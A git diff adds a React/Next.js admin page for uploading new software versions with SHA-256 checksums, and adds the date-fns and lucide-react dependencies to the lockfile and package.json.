); } diff --git a/app/upload/page.tsx b/app/upload/page.tsx new file mode 100644 index 0000000..b432903 --- /dev/null +++ b/app/upload/page.tsx @@ -0,0 +1,229 @@ +'use client' + +import React, { useState, useEffect, useCallback } from 'react' + +interface VersionInfo { + version: string + download_url: string + checksum: string +} + +export default function UploadPage() { + const [currentVersion, setCurrentVersion] = useState(null) + const [newVersion, setNewVersion] = useState('') + const [versionFile, setVersionFile] = useState(null) + const [versionFileHash, setVersionFileHash] = useState('') + const [isUploading, setIsUploading] = useState(false) + const [uploadError, setUploadError] = useState('') + const [uploadSuccess, setUploadSuccess] = useState(false) + + const canUploadVersion = newVersion && versionFile && !isUploading + + // 计算文件 SHA-256 + const calculateSha256 = async (file: File): Promise => { + const buffer = await file.arrayBuffer() + const hashBuffer = await crypto.subtle.digest('SHA-256', buffer) + const hashArray = Array.from(new Uint8Array(hashBuffer)) + return hashArray.map(b => b.toString(16).padStart(2, '0')).join('') + } + + // 获取当前版本信息 + const fetchCurrentVersion = useCallback(async () => { + try { + const response = await fetch('/api/api/version') + if (response.ok) { + const data: VersionInfo = await response.json() + setCurrentVersion(data) + } + } catch (err) { + console.error('获取版本信息失败:', err) + } + }, []) + + // 处理版本文件选择 + const handleVersionFileChange = async (event: React.ChangeEvent) => { + const input = event.target + if (input.files && input.files[0]) { + const file = input.files[0] + setVersionFile(file) + setVersionFileHash(await calculateSha256(file)) + } + } + + // 清除表单 + const resetForm = () => { + setNewVersion('') + setVersionFile(null) + setVersionFileHash('') + setUploadError('') + } + + // 上传新版本 + const uploadVersion = async () => { + if (!versionFile || !newVersion) return + + setIsUploading(true) + setUploadError('') + setUploadSuccess(false) + + const formData = new FormData() + formData.append('file', versionFile) + formData.append('version', newVersion) + + try { + const response = await fetch('/api/upload/version', { + method: 'POST', + body: formData + }) + + if (!response.ok) { + throw new Error('Upload failed') + } + + await fetchCurrentVersion() + setUploadSuccess(true) + resetForm() + setTimeout(() => { + setUploadSuccess(false) + }, 3000) + } catch (err) { + console.error('上传失败:', err) + setUploadError('上传失败,请重试') + } finally { + setIsUploading(false) + } + } + + useEffect(() => { + fetchCurrentVersion() + }, [fetchCurrentVersion]) + + return ( +
+

软件版本管理

+ + {/* 当前版本信息卡片 */} +
+
+

当前版本信息

+
+
+ {currentVersion ? ( +
+
+ 版本号: + {currentVersion.version} +
+ +
+ 校验和: + + {currentVersion.checksum} + +
+
+ ) : ( +
暂无版本信息
+ )} +
+
+ + {/* 上传新版本表单 */} +
+
+

上传新版本

+
+
+ {/* 版本号输入 */} +
+ + setNewVersion(e.target.value)} + type="text" + className="w-full px-4 py-2 border rounded-md focus:ring-2 focus:ring-blue-500 focus:border-blue-500 outline-none transition" + placeholder="例如: 1.0.0" + /> +
+ + {/* 文件上传 */} +
+ +
+
+
+ + +

+ {versionFile?.name || '未选择文件'} +

+
+ {versionFileHash && ( +
+

SHA-256 校验和:

+

+ {versionFileHash} +

+
+ )} +
+
+
+ + {/* 错误提示 */} + {uploadError && ( +
+ {uploadError} +
+ )} + + {/* 成功提示 */} + {uploadSuccess && ( +
+ 上传成功! +
+ )} + + {/* 提交按钮 */} +
+ +
+
+
+
+ ) +} diff --git a/bun.lock b/bun.lock index 19676b6..763fb85 100644 --- a/bun.lock +++ b/bun.lock @@ -11,6 +11,8 @@ "@types/multer": "^1.4.13", "bcryptjs": "^3.0.2", "cors": "^2.8.5", + "date-fns": "^4.1.0", + "lucide-react": "^0.525.0", "minio": "^8.0.5", "multer": "^2.0.1", "next": "15.3.4", @@ -235,6 +237,8 @@ "csstype": ["csstype@3.1.3", "", {}, "sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw=="], + "date-fns": ["date-fns@4.1.0", "", {}, "sha512-Ukq0owbQXxa/U3EGtsdVBkR1w7KOQ5gIBqdH2hkvknzZPYvBxb/aa6E8L7tmjFtkwZBu3UXBbjIgPo/Ez4xaNg=="], + "decode-uri-component": ["decode-uri-component@0.2.2", "", {}, "sha512-FqUYQ+8o158GyGTrMFJms9qh3CqTKvAqgqsTnkLI8sKu0028orqBhxNMFkFen0zGyg6epACD32pjVk58ngIErQ=="], "define-data-property": ["define-data-property@1.1.4", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "gopd": "^1.0.1" } }, "sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A=="], @@ -319,6 +323,8 @@ "lodash": ["lodash@4.17.21", "", {}, "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg=="], + "lucide-react": ["lucide-react@0.525.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Tm1txJ2OkymCGkvwoHt33Y2JpN5xucVq1slHcgE6Lk0WjDfjgKWor5CdVER8U6DvcfMwh4M8XxmpTiyzfmfDYQ=="], + "magic-string": ["magic-string@0.30.17", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0" } }, "sha512-sNPKHvyjVf7gyjwS4xGTaW/mCnF8wnjtifKBEhxfZ7E/S8tQ0rssrwGNn6q8JH/ohItJfSQp9mBtQYuTlH5QnA=="], "math-intrinsics": ["math-intrinsics@1.1.0", "", {}, "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g=="], diff --git a/package.json b/package.json index e1e359d..13b4c55 100644 --- a/package.json +++ b/package.json @@ -20,6 +20,8 @@ "@types/multer": "^1.4.13", "bcryptjs": "^3.0.2", "cors": "^2.8.5", + "date-fns": "^4.1.0", + "lucide-react": "^0.525.0", "minio": "^8.0.5", "multer": "^2.0.1", "next": "15.3.4",